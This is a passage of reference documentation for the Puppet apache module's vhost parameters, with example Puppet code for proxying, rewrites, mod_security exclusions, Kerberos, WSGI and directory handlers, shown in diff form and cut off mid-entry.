+##### `headers` + +Adds lines to replace, merge, or remove response headers. See [Apache's mod_headers documentation](https://httpd.apache.org/docs/current/mod/mod_headers.html#header) for more information. + +Values: A string or an array of strings. + +Default: `undef`. + +##### `ip` + +Sets the IP address the virtual host listens on. By default, uses Apache's default behavior of listening on all IPs. + +Values: A string or an array of strings. + +Default: `undef`. + +##### `ip_based` + +Enables an [IP-based](https://httpd.apache.org/docs/current/vhosts/ip-based.html) virtual host. This parameter inhibits the creation of a NameVirtualHost directive, since those are used to funnel requests to name-based virtual hosts. + +Default: `false`. + +##### `itk` + +Configures [ITK](http://mpm-itk.sesse.net/) in a hash. + +Usage typically looks something like: + +``` puppet +apache::vhost { 'sample.example.net': + docroot => '/path/to/directory', + itk => { + user => 'someuser', + group => 'somegroup', + }, +} +``` + +Values: a hash, which can include the keys: + +* user + group +* `assignuseridexpr` +* `assigngroupidexpr` +* `maxclientvhost` +* `nice` +* `limituidrange` (Linux 3.5.0 or newer) +* `limitgidrange` (Linux 3.5.0 or newer) + +Usage typically looks like: + +``` puppet +apache::vhost { 'sample.example.net': + docroot => '/path/to/directory', + itk => { + user => 'someuser', + group => 'somegroup', + }, +} +``` + +Default: `undef`. + +##### `jk_mounts` + +Sets up a virtual host with 'JkMount' and 'JkUnMount' directives to handle the paths for URL mapping between Tomcat and Apache. + +The parameter must be an array of hashes where each hash must contain the 'worker' and either the 'mount' or 'unmount' keys. + +Usage typically looks like: + +``` puppet +apache::vhost { 'sample.example.net': + jk_mounts => [ + { mount => '/*', worker => 'tcnode1', }, + { unmount => '/*.jpg', worker => 'tcnode1', }, + ], +} +``` +Default: `undef`. + +##### `keepalive` + +Determines whether to enable persistent HTTP connections with the [`KeepAlive`][] directive for the virtual host. By default, the global, server-wide [`KeepAlive`][] setting is in effect. + +Use the `keepalive_timeout` and `max_keepalive_requests` parameters to set relevant options for the virtual host. + +Values: 'Off', 'On'. + +Default: `undef` + +##### `keepalive_timeout` + +Sets the [`KeepAliveTimeout`] directive for the virtual host, which determines the amount of time to wait for subsequent requests on a persistent HTTP connection. By default, the global, server-wide [`KeepAlive`][] setting is in effect. + +This parameter is only relevant if either the global, server-wide [`keepalive` parameter][] or the per-vhost `keepalive` parameter is enabled. + +Default: `undef` + +##### `max_keepalive_requests` + +Limits the number of requests allowed per connection to the virtual host. By default, the global, server-wide [`KeepAlive`][] setting is in effect. + +This parameter is only relevant if either the global, server-wide [`keepalive` parameter][] or the per-vhost `keepalive` parameter is enabled. + +Default: `undef`. + +##### `auth_kerb` + +Enable [`mod_auth_kerb`][] parameters for a virtual host. + +Usage typically looks like: + +``` puppet +apache::vhost { 'sample.example.net': + auth_kerb => `true`, + krb_method_negotiate => 'on', + krb_auth_realms => ['EXAMPLE.ORG'], + krb_local_user_mapping => 'on', + directories => { + path => '/var/www/html', + auth_name => 'Kerberos Login', + auth_type => 'Kerberos', + auth_require => 'valid-user', + }, +} +``` + +Related parameters follow the names of `mod_auth_kerb` directives: + +- `krb_method_negotiate`: Determines whether to use the Negotiate method. Default: 'on'. +- `krb_method_k5passwd`: Determines whether to use password-based authentication for Kerberos v5. Default: 'on'. +- `krb_authoritative`: If set to 'off', authentication controls can be passed on to another module. Default: 'on'. +- `krb_auth_realms`: Specifies an array of Kerberos realms to use for authentication. Default: '[]'. +- `krb_5keytab`: Specifies the Kerberos v5 keytab file's location. Default: `undef`. +- `krb_local_user_mapping`: Strips @REALM from usernames for further use. Default: `undef`. + +Boolean. Default: `false`. + +##### `krb_verify_kdc` + +This option can be used to disable the verification tickets against local keytab to prevent KDC spoofing attacks. + +Default: 'on'. + +##### `krb_servicename` + +Specifies the service name that will be used by Apache for authentication. Corresponding key of this name must be stored in the keytab. + +Default: 'HTTP'. + +##### `krb_save_credentials` + +This option enables credential saving functionality. + +Default is 'off' + +##### `logroot` + +Specifies the location of the virtual host's logfiles. + +Default: '/var/log//'. + +##### `$logroot_ensure` + +Determines whether or not to remove the logroot directory for a virtual host. + +Values: 'directory', 'absent'. + +Default: 'directory'. + +##### `logroot_mode` + +Overrides the mode the logroot directory is set to. Do *not* grant write access to the directory the logs are stored in without being aware of the consequences; for more information, see [Apache's log security documentation](https://httpd.apache.org/docs/2.4/logs.html#security). + +Default: `undef`. + +##### `logroot_owner` + +Sets individual user access to the logroot directory. + +Defaults to `undef`. + +##### `logroot_group` + +Sets group access to the [`logroot`][] directory. + +Defaults to `undef`. + +##### `log_level` + +Specifies the verbosity of the error log. + +Values: 'emerg', 'alert', 'crit', 'error', 'warn', 'notice', 'info' or 'debug'. + +Default: 'warn' for the global server configuration. Can be overridden on a per-virtual host basis. + +###### `modsec_body_limit` + +Configures the maximum request body size (in bytes) ModSecurity accepts for buffering. + +Values: An integer. + +Default: `undef`. + +###### `modsec_disable_vhost` + +Disables [`mod_security`][] on a virtual host. Only valid if [`apache::mod::security`][] is included. + +Boolean. Default: `undef`. + +###### `modsec_disable_ids` + +Removes `mod_security` IDs from the virtual host. + +Values: An array of `mod_security` IDs to remove from the virtual host. Also takes a hash allowing removal of an ID from a specific location. + +``` puppet +apache::vhost { 'sample.example.net': + modsec_disable_ids => [ 90015, 90016 ], +} +``` + +``` puppet +apache::vhost { 'sample.example.net': + modsec_disable_ids => { '/location1' => [ 90015, 90016 ] }, +} +``` + +Default: `undef`. + +###### `modsec_disable_ips` + +Specifies an array of IP addresses to exclude from [`mod_security`][] rule matching. + +Default: `undef`. + +###### `modsec_disable_msgs` + +Array of mod_security Msgs to remove from the virtual host. Also takes a hash allowing removal of an Msg from a specific location. + +``` puppet +apache::vhost { 'sample.example.net': + modsec_disable_msgs => [ 'Blind SQL Injection Attack', 'Session Fixation Attack' ], +} +``` + +``` puppet +apache::vhost { 'sample.example.net': + modsec_disable_msgs => { '/location1' => [ 'Blind SQL Injection Attack', 'Session Fixation Attack' ] }, +} +``` + +Default: `undef`. + +###### `modsec_disable_tags` + +Array of mod_security Tags to remove from the virtual host. Also takes a hash allowing removal of an Tag from a specific location. + +``` puppet +apache::vhost { 'sample.example.net': + modsec_disable_tags => [ 'WEB_ATTACK/SQL_INJECTION', 'WEB_ATTACK/XSS' ], +} +``` + +``` puppet +apache::vhost { 'sample.example.net': + modsec_disable_tags => { '/location1' => [ 'WEB_ATTACK/SQL_INJECTION', 'WEB_ATTACK/XSS' ] }, +} +``` + +Default: `undef`. + +##### `modsec_audit*` + +* `modsec_audit_log` +* `modsec_audit_log_file` +* `modsec_audit_log_pipe` + +These three parameters together determine how to send `mod_security` audit log ([SecAuditLog](https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual#SecAuditLog)). + +* If `modsec_audit_log_file` is set, it is relative to [`logroot`][]. + + Default: `undef`. + +* If `modsec_audit_log_pipe` is set, it should start with a pipe. Example '|/path/to/mlogc /path/to/mlogc.conf'. + + Default: `undef`. + +* If `modsec_audit_log` is `true`, given a virtual host---for instance, example.com---it defaults to 'example.com\_security\_ssl.log' for [SSL-encrypted][SSL encryption] virtual hosts and 'example.com\_security.log' for unencrypted virtual hosts. + + Default: `false`. + +If none of those parameters are set, the global audit log is used (''/var/log/httpd/modsec\_audit.log''; Debian and derivatives: ''/var/log/apache2/modsec\_audit.log''; others: ). + +##### `no_proxy_uris` + +Specifies URLs you do not want to proxy. This parameter is meant to be used in combination with [`proxy_dest`](#proxy_dest). + +Default: []. + +##### `no_proxy_uris_match` + +This directive is equivalent to [`no_proxy_uris`][], but takes regular expressions. + +Default: []. + +##### `proxy_preserve_host` + +Sets the [ProxyPreserveHost Directive](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxypreservehost). + +Setting this parameter to `true` enables the `Host:` line from an incoming request to be proxied to the host instead of hostname. Setting it to `false` sets this directive to 'Off'. + +Boolean. Default: `false`. + +##### `proxy_add_headers` + +Sets the [ProxyAddHeaders Directive](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxyaddheaders). + +This parameter controlls whether proxy-related HTTP headers (X-Forwarded-For, X-Forwarded-Host and X-Forwarded-Server) get sent to the backend server. + +Boolean. Default: `false`. + +##### `proxy_error_override` + +Sets the [ProxyErrorOverride Directive](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxyerroroverride). This directive controls whether Apache should override error pages for proxied content. + +Boolean. Default: `false`. + +##### `options` + +Sets the [`Options`][] for the specified virtual host. For example: + +``` puppet +apache::vhost { 'site.name.fdqn': + … + options => ['Indexes','FollowSymLinks','MultiViews'], +} +``` + +> **Note**: If you use the [`directories`][] parameter of [`apache::vhost`][], 'Options', 'Override', and 'DirectoryIndex' are ignored because they are parameters within `directories`. + +Default: ['Indexes','FollowSymLinks','MultiViews'], + +##### `override` + +Sets the overrides for the specified virtual host. Accepts an array of [AllowOverride](https://httpd.apache.org/docs/current/mod/core.html#allowoverride) arguments. + +Default: '[none]'. + +##### `passenger_app_root` + +Sets [PassengerRoot](https://www.phusionpassenger.com/library/config/apache/reference/#passengerapproot), the location of the Passenger application root if different from the DocumentRoot. + +Values: A string specifying a path. + +Default: `undef`. + +##### `passenger_app_env` + +Sets [PassengerAppEnv](https://www.phusionpassenger.com/library/config/apache/reference/#passengerappenv), the environment for the Passenger application. If not specified, defaults to the global setting or 'production'. + +Values: A string specifying the name of the environment. + +Default: `undef`. + +##### `passenger_log_file` + +By default, Passenger log messages are written to the Apache global error log. With [PassengerLogFile](https://www.phusionpassenger.com/library/config/apache/reference/#passengerlogfile), you can configure those messages to be logged to a different file. This option is only available since Passenger 5.0.5. + +Values: A string specifying a path. + +Default: `undef`. + +##### `passenger_log_level` + +This option allows to specify how much information should be written to the log file. If not set, [PassengerLogLevel](https://www.phusionpassenger.com/library/config/apache/reference/#passengerloglevel) will not show up in the configuration file and the defaults are used. + +Default: Passenger versions less than 3.0.0: '0'; 5.0.0 and later: '3'. + +##### `passenger_ruby` + +Sets [PassengerRuby](https://www.phusionpassenger.com/library/config/apache/reference/#passengerruby), the Ruby interpreter to use for the application, on this virtual host. + +Default: `undef`. + +##### `passenger_min_instances` + +Sets [PassengerMinInstances](https://www.phusionpassenger.com/library/config/apache/reference/#passengermininstances), the minimum number of application processes to run. + +##### `passenger_max_requests` + +Sets [PassengerMaxRequests](https://www.phusionpassenger.com/library/config/apache/reference/#pas +sengermaxrequests), the maximum number of requests an application process will process. + +##### `passenger_max_instances_per_app` + +Sets [PassengerMaxInstancesPerApp](https://www.phusionpassenger.com/library/config/apache/reference/#passengermaxinstancesperapp), the maximum number of application processes that may simultaneously exist for a single application. + +Default: `undef`. + +##### `passenger_start_timeout` + +Sets [PassengerStartTimeout](https://www.phusionpassenger.com/library/config/apache/reference/#passengerstarttimeout), the timeout for the application startup. + +##### `passenger_pre_start` + +Sets [PassengerPreStart](https://www.phusionpassenger.com/library/config/apache/reference/#passengerprestart), the URL of the application if pre-starting is required. + +##### `passenger_user` + +Sets [PassengerUser](https://www.phusionpassenger.com/library/config/apache/reference/#passengeruser), the running user for sandboxing applications. + +##### `passenger_high_performance` + +Sets the [`PassengerHighPerformance`](https://www.phusionpassenger.com/library/config/apache/reference/#passengerhighperformance) parameter. Values: `true`, `false`. Default: `undef`. + +##### `passenger_nodejs` + +Sets the [`PassengerNodejs`](https://www.phusionpassenger.com/library/config/apache/reference/#passengernodejs), the NodeJS interpreter to use for the application, on this virtual host. + +##### `passenger_sticky_sessions` + +Sets the [`PassengerStickySessions`](https://www.phusionpassenger.com/library/config/apache/reference/#passengerstickysessions) parameter. + +Boolean. Default: `undef`. + +##### `passenger_startup_file` + +Sets the [`PassengerStartupFile`](https://www.phusionpassenger.com/library/config/apache/reference/#passengerstartupfile) path. This path is relative to the application root. + +##### `php_flags & values` + +Allows per-virtual host setting [`php_value`s or `php_flag`s](http://php.net/manual/en/configuration.changes.php). These flags or values can be overwritten by a user or an application. + +Default: '{}'. + +##### `php_admin_flags & values` + +Allows per-virtual host setting [`php_admin_value`s or `php_admin_flag`s](http://php.net/manual/en/configuration.changes.php). These flags or values cannot be overwritten by a user or an application. + +Default: '{}'. + +##### `port` + +Sets the port the host is configured on. The module's defaults ensure the host listens on port 80 for non-SSL virtual hosts and port 443 for SSL virtual hosts. The host only listens on the port set in this parameter. + +##### `priority` + +Sets the relative load-order for Apache HTTPD VirtualHost configuration files. + +If nothing matches the priority, the first name-based virtual host is used. Likewise, passing a higher priority causes the alphabetically first name-based virtual host to be used if no other names match. + +> **Note:** You should not need to use this parameter. However, if you do use it, be aware that the `default_vhost` parameter for `apache::vhost` passes a priority of '15'. + +To omit the priority prefix in file names, pass a priority of `false`. + +Default: '25'. + +##### `proxy_dest` + +Specifies the destination address of a [ProxyPass](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxypass) configuration. + +Default: `undef`. + +##### `proxy_pass` + +Specifies an array of `path => URI` values for a [ProxyPass](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxypass) configuration. Optionally, parameters can be added as an array. + +Default: `undef`. + +``` puppet +apache::vhost { 'site.name.fdqn': + … + proxy_pass => [ + { 'path' => '/a', 'url' => 'http://backend-a/' }, + { 'path' => '/b', 'url' => 'http://backend-b/' }, + { 'path' => '/c', 'url' => 'http://backend-a/c', 'params' => {'max'=>20, 'ttl'=>120, 'retry'=>300}}, + { 'path' => '/l', 'url' => 'http://backend-xy', + 'reverse_urls' => ['http://backend-x', 'http://backend-y'] }, + { 'path' => '/d', 'url' => 'http://backend-a/d', + 'params' => { 'retry' => '0', 'timeout' => '5' }, }, + { 'path' => '/e', 'url' => 'http://backend-a/e', + 'keywords' => ['nocanon', 'interpolate'] }, + { 'path' => '/f', 'url' => 'http://backend-f/', + 'setenv' => ['proxy-nokeepalive 1','force-proxy-request-1.0 1']}, + { 'path' => '/g', 'url' => 'http://backend-g/', + 'reverse_cookies' => [{'path' => '/g', 'url' => 'http://backend-g/',}, {'domain' => 'http://backend-g', 'url' => 'http:://backend-g',},], }, + { 'path' => '/h', 'url' => 'http://backend-h/h', + 'no_proxy_uris' => ['/h/admin', '/h/server-status'] }, + ], +} +``` + +* `reverse_urls`. *Optional.* This setting is useful when used with `mod_proxy_balancer`. Values: an array or string. +* `reverse_cookies`. *Optional.* Sets `ProxyPassReverseCookiePath` and `ProxyPassReverseCookieDomain`. +* `params`. *Optional.* Allows for ProxyPass key-value parameters, such as connection settings. +* `setenv`. *Optional.* Sets [environment variables](https://httpd.apache.org/docs/current/mod/mod_proxy.html#envsettings) for the proxy directive. Values: array. + +##### `proxy_dest_match` + +This directive is equivalent to [`proxy_dest`][], but takes regular expressions, see [ProxyPassMatch](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxypassmatch) for details. + +##### `proxy_dest_reverse_match` + +Allows you to pass a ProxyPassReverse if [`proxy_dest_match`][] is specified. See [ProxyPassReverse](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxypassreverse) for details. + +##### `proxy_pass_match` + +This directive is equivalent to [`proxy_pass`][], but takes regular expressions, see [ProxyPassMatch](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxypassmatch) for details. + +##### `rack_base_uris` + +Specifies the resource identifiers for a rack configuration. The file paths specified are listed as rack application roots for [Phusion Passenger](http://www.modrails.com/documentation/Users%20guide%20Apache.html#_railsbaseuri_and_rackbaseuri) in the _rack.erb template. + +Default: `undef`. + +#####`passenger_base_uris` + +Used to specify that the given URI is a Phusion Passenger-served application. The file paths specified are listed as passenger application roots for [Phusion Passenger](https://www.phusionpassenger.com/documentation/Users%20guide%20Apache.html#PassengerBaseURI) in the _passenger_base_uris.erb template. + +Default: `undef`. + +##### `redirect_dest` + +Specifies the address to redirect to. + +Default: `undef`. + +##### `redirect_source` + +Specifies the source URIs that redirect to the destination specified in `redirect_dest`. If more than one item for redirect is supplied, the source and destination must be the same length, and the items are order-dependent. + +``` puppet +apache::vhost { 'site.name.fdqn': + … + redirect_source => ['/images','/downloads'], + redirect_dest => ['http://img.example.com/','http://downloads.example.com/'], +} +``` + +##### `redirect_status` + +Specifies the status to append to the redirect. + +Default: `undef`. + +``` puppet +apache::vhost { 'site.name.fdqn': + … + redirect_status => ['temp','permanent'], +} +``` + +##### `redirectmatch_*` + +* `redirectmatch_regexp` +* `redirectmatch_status` +* `redirectmatch_dest` + +Determines which server status should be raised for a given regular expression and where to forward the user to. Entered as arrays. + +Default: `undef`. + +``` puppet +apache::vhost { 'site.name.fdqn': + … + redirectmatch_status => ['404','404'], + redirectmatch_regexp => ['\.git(/.*|$)/','\.svn(/.*|$)'], + redirectmatch_dest => ['http://www.example.com/1','http://www.example.com/2'], +} +``` + +##### `request_headers` + +Modifies collected [request headers](https://httpd.apache.org/docs/current/mod/mod_headers.html#requestheader) in various ways, including adding additional request headers, removing request headers, and so on. + +Default: `undef`. + +``` puppet +apache::vhost { 'site.name.fdqn': + … + request_headers => [ + 'append MirrorID "mirror 12"', + 'unset MirrorID', + ], +} +``` + +##### `rewrites` + +Creates URL rewrite rules. Expects an array of hashes. + +Values: Hash keys that are any of 'comment', 'rewrite_base', 'rewrite_cond', 'rewrite_rule' or 'rewrite_map'. + +Default: `undef`. + +For example, you can specify that anyone trying to access index.html is served welcome.html + +``` puppet +apache::vhost { 'site.name.fdqn': + … + rewrites => [ { rewrite_rule => ['^index\.html$ welcome.html'] } ] +} +``` + +The parameter allows rewrite conditions that, when `true`, execute the associated rule. For instance, if you wanted to rewrite URLs only if the visitor is using IE + +``` puppet +apache::vhost { 'site.name.fdqn': + … + rewrites => [ + { + comment => 'redirect IE', + rewrite_cond => ['%{HTTP_USER_AGENT} ^MSIE'], + rewrite_rule => ['^index\.html$ welcome.html'], + }, + ], +} +``` + +You can also apply multiple conditions. For instance, rewrite index.html to welcome.html only when the browser is Lynx or Mozilla (version 1 or 2) + +``` puppet +apache::vhost { 'site.name.fdqn': + … + rewrites => [ + { + comment => 'Lynx or Mozilla v1/2', + rewrite_cond => ['%{HTTP_USER_AGENT} ^Lynx/ [OR]', '%{HTTP_USER_AGENT} ^Mozilla/[12]'], + rewrite_rule => ['^index\.html$ welcome.html'], + }, + ], +} +``` + +Multiple rewrites and conditions are also possible + +``` puppet +apache::vhost { 'site.name.fdqn': + … + rewrites => [ + { + comment => 'Lynx or Mozilla v1/2', + rewrite_cond => ['%{HTTP_USER_AGENT} ^Lynx/ [OR]', '%{HTTP_USER_AGENT} ^Mozilla/[12]'], + rewrite_rule => ['^index\.html$ welcome.html'], + }, + { + comment => 'Internet Explorer', + rewrite_cond => ['%{HTTP_USER_AGENT} ^MSIE'], + rewrite_rule => ['^index\.html$ /index.IE.html [L]'], + }, + { + rewrite_base => /apps/, + rewrite_rule => ['^index\.cgi$ index.php', '^index\.html$ index.php', '^index\.asp$ index.html'], + }, + { comment => 'Rewrite to lower case', + rewrite_cond => ['%{REQUEST_URI} [A-Z]'], + rewrite_map => ['lc int:tolower'], + rewrite_rule => ['(.*) ${lc:$1} [R=301,L]'], + }, + ], +} +``` + +Refer to the [`mod_rewrite` documentation][`mod_rewrite`] for more details on what is possible with rewrite rules and conditions. + +##### `rewrite_inherit` + +Determines whether the virtual host inherits global rewrite rules. + +Default: `false`. + +Rewrite rules may be specified globally (in `$conf_file` or `$confd_dir`) or inside the virtual host `.conf` file. By default, virtual hosts do not inherit global settings. To activate inheritance, specify the `rewrites` parameter and set `rewrite_inherit` parameter to `true`: + +``` puppet +apache::vhost { 'site.name.fdqn': + … + rewrites => [ + , + ], + rewrite_inherit => `true`, +} +``` + +> **Note**: The `rewrites` parameter is **required** for this to have effect + +Apache activates global `Rewrite` rules inheritance if the virtual host files contains the following directives: + +``` ApacheConf +RewriteEngine On +RewriteOptions Inherit +``` + +Refer to the [official `mod_rewrite` documentation](https://httpd.apache.org/docs/2.2/mod/mod_rewrite.html), section "Rewriting in Virtual Hosts". + +##### `scriptalias` + +Defines a directory of CGI scripts to be aliased to the path '/cgi-bin', such as '/usr/scripts'. + +Default: `undef`. + +##### `scriptaliases` + +> **Note**: This parameter is deprecated in favor of the `aliases` parameter. + +Passes an array of hashes to the virtual host to create either ScriptAlias or ScriptAliasMatch statements per the [`mod_alias` documentation][`mod_alias`]. + +``` puppet +scriptaliases => [ + { + alias => '/myscript', + path => '/usr/share/myscript', + }, + { + aliasmatch => '^/foo(.*)', + path => '/usr/share/fooscripts$1', + }, + { + aliasmatch => '^/bar/(.*)', + path => '/usr/share/bar/wrapper.sh/$1', + }, + { + alias => '/neatscript', + path => '/usr/share/neatscript', + }, +] +``` + +The ScriptAlias and ScriptAliasMatch directives are created in the order specified. As with [Alias and AliasMatch](#aliases) directives, specify more specific aliases before more general ones to avoid shadowing. + +##### `serveradmin` + +Specifies the email address Apache displays when it renders one of its error pages. + +Default: `undef`. + +##### `serveraliases` + +Sets the [ServerAliases](https://httpd.apache.org/docs/current/mod/core.html#serveralias) of the site. + +Default: '[]'. + +##### `servername` + +Sets the servername corresponding to the hostname you connect to the virtual host at. + +Default: the title of the resource. + +##### `setenv` + +Used by HTTPD to set environment variables for virtual hosts. + +Default: '[]'. + +Example: + +``` puppet +apache::vhost { 'setenv.example.com': + setenv => ['SPECIAL_PATH /foo/bin'], +} +``` + +##### `setenvif` + +Used by HTTPD to conditionally set environment variables for virtual hosts. + +Default: '[]'. + +##### `setenvifnocase` + +Used by HTTPD to conditionally set environment variables for virtual hosts (caseless matching). + +Default: '[]'. + +##### `suphp_*` + +* `suphp_addhandler` +* `suphp_configpath` +* `suphp_engine` + +Sets up a virtual host with [suPHP](http://suphp.org/DocumentationView.html?file=apache/CONFIG). + +* `suphp_addhandler`. Default: 'php5-script' on RedHat and FreeBSD, and 'x-httpd-php' on Debian and Gentoo. +* `suphp_configpath`. Default: `undef` on RedHat and FreeBSD, and '/etc/php5/apache2' on Debian and Gentoo. +* `suphp_engine`. Values: 'on' or 'off'. Default: 'off'. + +An example virtual host configuration with suPHP: + +``` puppet +apache::vhost { 'suphp.example.com': + port => '80', + docroot => '/home/appuser/myphpapp', + suphp_addhandler => 'x-httpd-php', + suphp_engine => 'on', + suphp_configpath => '/etc/php5/apache2', + directories => { path => '/home/appuser/myphpapp', + 'suphp' => { user => 'myappuser', group => 'myappgroup' }, + } +} +``` + +##### `vhost_name` + +Enables name-based virtual hosting. If no IP is passed to the virtual host, but the virtual host is assigned a port, then the virtual host name is 'vhost_name:port'. If the virtual host has no assigned IP or port, the virtual host name is set to the title of the resource. + +Default: '*'. + +##### `virtual_docroot` + +Sets up a virtual host with a wildcard alias subdomain mapped to a directory with the same name. For example, 'http://example.com' would map to '/var/www/example.com'. + +Default: `false`. + +``` puppet +apache::vhost { 'subdomain.loc': + vhost_name => '*', + port => '80', + virtual_docroot => '/var/www/%-2+', + docroot => '/var/www', + serveraliases => ['*.loc',], +} +``` + +##### `wsgi*` + +* `wsgi_daemon_process` +* `wsgi_daemon_process_options` +* `wsgi_process_group` +* `wsgi_script_aliases` +* `wsgi_pass_authorization` + +Sets up a virtual host with [WSGI](https://github.com/GrahamDumpleton/mod_wsgi). + +* `wsgi_daemon_process`: A hash that sets the name of the WSGI daemon, accepting [certain keys](http://modwsgi.readthedocs.org/en/latest/configuration-directives/WSGIDaemonProcess.html). Default: `undef`. +* `wsgi_daemon_process_options`. _Optional._ Default: `undef`. +* `wsgi_process_group`: Sets the group ID that the virtual host runs under. Default: `undef`. +* `wsgi_script_aliases`: Requires a hash of web paths to filesystem .wsgi paths. Default: `undef`. +* `wsgi_script_aliases_match`: Requires a hash of web path regexes to filesystem .wsgi paths. Default: `undef` +* `wsgi_pass_authorization`: Uses the WSGI application to handle authorization instead of Apache when set to 'On'. For more information, see [mod_wsgi's WSGIPassAuthorization documentation] (https://modwsgi.readthedocs.org/en/latest/configuration-directives/WSGIPassAuthorization.html). Default: `undef`, leading Apache to use its default value of 'Off'. +* `wsgi_chunked_request`: Enables support for chunked requests. Default: `undef`. + +An example virtual host configuration with WSGI: + +``` puppet +apache::vhost { 'wsgi.example.com': + port => '80', + docroot => '/var/www/pythonapp', + wsgi_daemon_process => 'wsgi', + wsgi_daemon_process_options => + { processes => '2', + threads => '15', + display-name => '%{GROUP}', + }, + wsgi_process_group => 'wsgi', + wsgi_script_aliases => { '/' => '/var/www/demo.wsgi' }, + wsgi_chunked_request => 'On', +} +``` + +#### Parameter `directories` for `apache::vhost` + +The `directories` parameter within the `apache::vhost` class passes an array of hashes to the virtual host to create [Directory](https://httpd.apache.org/docs/current/mod/core.html#directory), [File](https://httpd.apache.org/docs/current/mod/core.html#files), and [Location](https://httpd.apache.org/docs/current/mod/core.html#location) directive blocks. These blocks take the form, '< Directory /path/to/directory>...< /Directory>'. + +The `path` key sets the path for the directory, files, and location blocks. Its value must be a path for the 'directory', 'files', and 'location' providers, or a regex for the 'directorymatch', 'filesmatch', or 'locationmatch' providers. Each hash passed to `directories` **must** contain `path` as one of the keys. + +The `provider` key is optional. If missing, this key defaults to 'directory'. Values: 'directory', 'files', 'proxy', 'location', 'directorymatch', 'filesmatch', 'proxymatch' or 'locationmatch'. If you set `provider` to 'directorymatch', it uses the keyword 'DirectoryMatch' in the Apache config file. + +An example use of `directories`: + +``` puppet +apache::vhost { 'files.example.net': + docroot => '/var/www/files', + directories => [ + { 'path' => '/var/www/files', + 'provider' => 'files', + 'deny' => 'from all', + }, + ], +} +``` + +> **Note:** At least one directory should match the `docroot` parameter. After you start declaring directories, `apache::vhost` assumes that all required Directory blocks will be declared. If not defined, a single default Directory block is created that matches the `docroot` parameter. + +Available handlers, represented as keys, should be placed within the `directory`, `files`, or `location` hashes. This looks like + +``` puppet +apache::vhost { 'sample.example.net': + docroot => '/path/to/directory', + directories => [ { path => '/path/to/directory', handler => value } ], +} +``` + +Any handlers you do not set in these hashes are considered 'undefined' within Puppet and are not added to the virtual host, resulting in the module using their default values. Supported handlers are: + +##### `addhandlers` + +Sets [AddHandler](https://httpd.apache.org/docs/current/mod/mod_mime.html#addhandler) directives, which map filename extensions to the specified handler. Accepts a list of hashes, with `extensions` serving to list the extensions being managed by the handler, and takes the form: `{ handler => 'handler-name', extensions => ['extension'] }`. + +An example: + +``` puppet +apache::vhost { 'sample.example.net': + docroot => '/path/to/directory', + directories => [ + { path => '/path/to/directory', + addhandlers => [{ handler => 'cgi-script', extensions => ['.cgi']}], + }, + ], +} +``` + +##### `allow` + +Sets an [Allow](https://httpd.apache.org/docs/2.2/mod/mod_authz_host.html#allow) directive, which groups authorizations based on hostnames or IPs. **Deprecated:** This parameter is being deprecated due to a change in Apache. It only works with Apache 2.2 and lower. You can use it as a single string for one rule or as an array for more than one. + +``` puppet +apache::vhost { 'sample.example.net': + docroot => '/path/to/directory', + directories => [ + { path => '/path/to/directory', + allow => 'from example.org', + }, + ], +} +``` + +##### `allow_override` + +Sets the types of directives allowed in [.htaccess](https://httpd.apache.org/docs/current/mod/core.html#allowoverride) files. Accepts an array. + +``` puppet +apache::vhost { 'sample.example.net': + docroot => '/path/to/directory', + directories => [ + { path => '/path/to/directory', + allow_override => ['AuthConfig', 'Indexes'], + }, + ], +} +``` + +##### `auth_basic_authoritative` + +Sets the value for [AuthBasicAuthoritative](https://httpd.apache.org/docs/current/mod/mod_auth_basic.html#authbasicauthoritative), which determines whether authorization and authentication are passed to lower level Apache modules. + +##### `auth_basic_fake` + +Sets the value for [AuthBasicFake](https://httpd.apache.org/docs/current/mod/mod_auth_basic.html#authbasicfake), which statically configures authorization credentials for a given directive block. + +##### `auth_basic_provider` + +Sets the value for [AuthBasicProvider](https://httpd.apache.org/docs/current/mod/mod_auth_basic.html#authbasicprovider), which sets the authentication provider for a given location. + +##### `auth_digest_algorithm` + +Sets the value for [AuthDigestAlgorithm](https://httpd.apache.org/docs/current/mod/mod_auth_digest.html#authdigestalgorithm), which selects the algorithm used to calculate the challenge and response hashes. + +###### `auth_digest_domain` + +Sets the value for [AuthDigestDomain](https://httpd.apache.org/docs/current/mod/mod_auth_digest.html#authdigestdomain), which allows you to specify one or more URIs in the same protection space for digest authentication. + +##### `auth_digest_nonce_lifetime` + +Sets the value for [AuthDigestNonceLifetime](https://httpd.apache.org/docs/current/mod/mod_auth_digest.html#authdigestnoncelifetime), which controls how long the server nonce is valid. + +##### `auth_digest_provider` + +Sets the value for [AuthDigestProvider](https://httpd.apache.org/docs/current/mod/mod_auth_digest.html#authdigestprovider), which sets the authentication provider for a given location. + +##### `auth_digest_qop` + +Sets the value for [AuthDigestQop](https://httpd.apache.org/docs/current/mod/mod_auth_digest.html#authdigestqop), which determines the quality-of-protection to use in digest authentication. + +##### `auth_digest_shmem_size` + +Sets the value for [AuthAuthDigestShmemSize](https://httpd.apache.org/docs/current/mod/mod_auth_digest.html#authdigestshmemsize), which defines the amount of shared memory allocated to the server for keeping track of clients. + +##### `auth_group_file` + +Sets the value for [AuthGroupFile](https://httpd.apache.org/docs/current/mod/mod_authz_groupfile.html#authgroupfile), which sets the name of the text file containing the list of user groups for authorization. + +##### `auth_name` + +Sets the value for [AuthName](https://httpd.apache.org/docs/current/mod/mod_authn_core.html#authname), which sets the name of the authorization realm. + +##### `auth_require` + +Sets the entity name you're requiring to allow access. Read more about [Require](https://httpd.apache.org/docs/current/mod/mod_authz_host.html#requiredirectives). + +##### `auth_type` + +Sets the value for [AuthType](https://httpd.apache.org/docs/current/mod/mod_authn_core.html#authtype), which guides the type of user authentication. + +##### `auth_user_file` + +Sets the value for [AuthUserFile](https://httpd.apache.org/docs/current/mod/mod_authn_file.html#authuserfile), which sets the name of the text file containing the users/passwords for authentication. + +##### `auth_merging` + +Sets the value for [AuthMerging](https://httpd.apache.org/docs/current/mod/mod_authz_core.html#authmerging), which determines if authorization logic should be combined + +##### `auth_ldap_url` + +Sets the value for [AuthLDAPURL](https://httpd.apache.org/docs/current/mod/mod_authnz_ldap.html#authldapurl), which determines URL of LDAP-server(s) if 